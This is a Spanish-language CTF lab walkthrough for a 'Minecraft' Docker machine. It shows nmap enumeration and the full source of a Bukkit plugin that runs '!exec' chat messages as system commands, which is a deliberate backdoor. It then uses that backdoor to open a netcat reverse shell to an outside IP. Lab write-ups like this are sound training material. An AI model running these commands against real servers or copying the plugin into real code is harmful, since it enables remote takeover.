# Minecraft

***

URL Download CTF = <https://drive.google.com/file/d/1-h9Qw6N_2SGy50rs4ia3YfX8tvZU9x3l/view?usp=sharing>

***

### Instalación <a href="#instalacion" id="instalacion"></a>

Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

```
unzip minecraft.zip
```

Nos lo descomprimirá y despues montamos la maquina de la siguiente forma.

```
bash auto_mount.sh minecraft.tar
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fru0hRjjue3GsGWUrzHkH%2Fimage.png?alt=media&#x26;token=cf6397d5-bec1-4308-8783-cb766fbc5bec" alt=""><figcaption></figcaption></figure>

***

Enumeración:

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 04:23 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000037s latency).

PORT      STATE SERVICE   VERSION
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: HTTrack Website Copier/3.x
|_http-title: Local index - HTTrack Website Copier
|_http-server-header: Apache/2.4.58 (Ubuntu)
25565/tcp open  minecraft Minecraft 1.12.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
MAC Address: 02:42:AC:11:00:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
```

***

Vemos que corre un servicio web y tambien un servidor Minecraft version 1.12.2, comenzamos analizando la pagina web y observamos un comentario interesante en el codido de la web.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FqiyNe3k7TZLOa8VZ7W2p%2Fimage.png?alt=media&#x26;token=8e4a9b41-b296-4bfb-a577-ffd06e11a350" alt=""><figcaption></figcaption></figure>

Parece que hace mencion a un archivo .txt `AutoExecPlugin.txt` por lo que testeo a ver si se localiza en el servidor intentando acceder a `http://172.17.0.2/AutoExecPlugin.txt`

```
curl http://172.17.0.2/AutoExecPlugin.txt
```

```apex
package me.vuln.autoexec;

import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.java.JavaPlugin;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class AutoExecPlugin extends JavaPlugin implements Listener {

    @Override
    public void onEnable() {
        getLogger().info("AutoExecPlugin habilitado");
        getServer().getPluginManager().registerEvents(this, this);
    }

    @EventHandler
    public void onPlayerChat(AsyncPlayerChatEvent event) {
        String msg = event.getMessage();
        Player player = event.getPlayer();

        // Detecta comando con prefijo !exec
        if (msg.startsWith("!exec ")) {
            event.setCancelled(true); // CANCELA que se muestre el mensaje en el chat

            String command = msg.substring(6); // Quitar "!exec " del mensaje

            try {
                // Ejecutar comando en la consola del servidor
                Process proc = Runtime.getRuntime().exec(command);
                BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));

                StringBuilder output = new StringBuilder();
                String line;

                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }

                proc.waitFor();

                // Enviar salida del comando al jugador que ejecutó el chat
                player.sendMessage("§c[Output]:\n" + output.toString());

            } catch (Exception e) {
                player.sendMessage("§4Error ejecutando comando: " + e.getMessage());
            }
        }
    }
}

```

> Por lo que vemos si existe, esto es una clase de `JAVA` la cual nos esta dando una pista de que si esto estuviera en el servidor de `minecraft` como un `plugin` puede ser muy vulnerable ya que puede ejecutar comandos del sistema dentro del propio servidor del juego, por lo que vamos a descargarnos `minecraft` para meternos en dicho servidor.

***

### Instalación Minecraft (Gratis) <a href="#instalacion-minecraft-gratis" id="instalacion-minecraft-gratis"></a>

Vamos a ir al siguiente enlace en la pagina del `TLauncher` de `Minecraft`, es para jugar `Minecraft` gratis.

URL = [Download Minecraft TLauncher](https://tlauncher.org/)

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F46NqhVRlQX3nGkYMC81l%2Fimage.png?alt=media&#x26;token=a90ffa8d-2728-454a-8c30-54d314b79a4d" alt=""><figcaption></figcaption></figure>

Una vez extraido veremos lo siguiente en la carpeta llamada `TLauncher.v16`:

```
cd TLauncher.v16/
ls -la
```

Info:

```
total 9904
drwxrwxr-x 2 kali kali     4096 Jun 17 12:50 .
drwxr-xr-x 3 kali kali     4096 Jun 17 16:54 ..
-rw-rw-r-- 1 kali kali     2198 Dec 10  2024 README-EN.txt
-rw-rw-r-- 1 kali kali     3235 Dec 10  2024 README-RUS.txt
-rw-rw-r-- 1 kali kali 10121689 May  4 06:37 TLauncher.jar
```

Lo importante es el archivo `TLauncher.jar` que es el que inicia `Minecraft` por lo que tendremos que ejecutarlo de esta forma.

```
java -jar tlauncher.jar
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FxwSvW2kIXpZ7783XfnhO%2Fimage.png?alt=media&#x26;token=119eed72-2a21-422b-a429-4c23a91b5cf3" alt=""><figcaption></figcaption></figure>

Esto instalara `Minecraft` y abrira el launcher para iniciarlo, dentro del mismo tendremos que elegir el nombre de usuario que puede ser cualquiera y muy importante la version, en el reporte de `nmap` vimos que la version es `Minecraft 1.12.2` por lo que tendremos que elegir la llamada `release 1.12.2` y darle a `Install`.

Eso instalara todo lo necesario para jugarla.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FmVNqtPtheUVzucQGnhWo%2Fimage.png?alt=media&#x26;token=dbebdc6e-431d-4cb4-94ae-0a35c36995a6" alt=""><figcaption></figcaption></figure>

Una vez que se haya instalado todo nos pondra `Enter the game` le daremos y despues de un rato estaremos dentro del menu de `Minecraft`, nos iremos a la opcion llamada `Multiplayer` y dentro del mismo configuraremos el servidor de `Miencraft` desde donde esta corriendo la maquina victima.

Le daremos al boton llamado `Add Server` y dentro del mismo veremos el `Server Name` y el `Server Address` el que nos interesa es configurar el `Server Adderess` por lo que tendremos que poner la `IP` de la maquina victima junto con el puerto que es el `25565` quedando de esta forma:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FveFlUWCRsY7ORbgs4PzI%2Fimage.png?alt=media&#x26;token=1b7aae9b-fb2e-4e38-bb4d-53868e72773e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F4qwFcbLGKsQRazHC8STd%2Fimage.png?alt=media&#x26;token=f473b3a6-d935-43e2-85b9-44f448daf109" alt=""><figcaption></figcaption></figure>

Entramos al servidor creado:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FCF2IQd2RDzJEOMqH4egx%2Fimage.png?alt=media&#x26;token=7101b5e5-3fc0-4798-8e29-e63c5eb0190e" alt=""><figcaption></figcaption></figure>

### Escalate Privileges <a href="#escalate-privileges" id="escalate-privileges"></a>

Una vez dentro del mundo vamos a probar a listar los `plugins` de esta forma desde `Minecraft`.

Vemos que esta el `plugin` que encontramos del `.txt` por lo que vamos a probar a ejecutar lo que mencionaba en el `.txt` para poder ejecutar comandos con `!exec` acompañado de un comando del sistema.

```sh
!exec whoami
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FwLCoh7BMet05AhoP7YQQ%2Fimage.png?alt=media&#x26;token=623ae324-14b2-47b5-83d4-6f482640358b" alt=""><figcaption></figcaption></figure>

Vemos que se esta ejecutando de forma correcta podremos realizar un `RCE`, por lo que vamos a probar a generarnos una `reverse shell` de esta forma.

```sh
!exec nc 192.168.175.131 4444 -e /bin/sh
```

Antes de ejecutarlo tendremos que ponernos a la escucha desde nuestra maquina `host`.

```sh
nc -lvnp 4444 
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FwijI7c6HsPkk2QiYYXRk%2Fimage.png?alt=media&#x26;token=a0084aff-a7c2-410e-9c1b-60b1a0db991f" alt=""><figcaption></figcaption></figure>

***
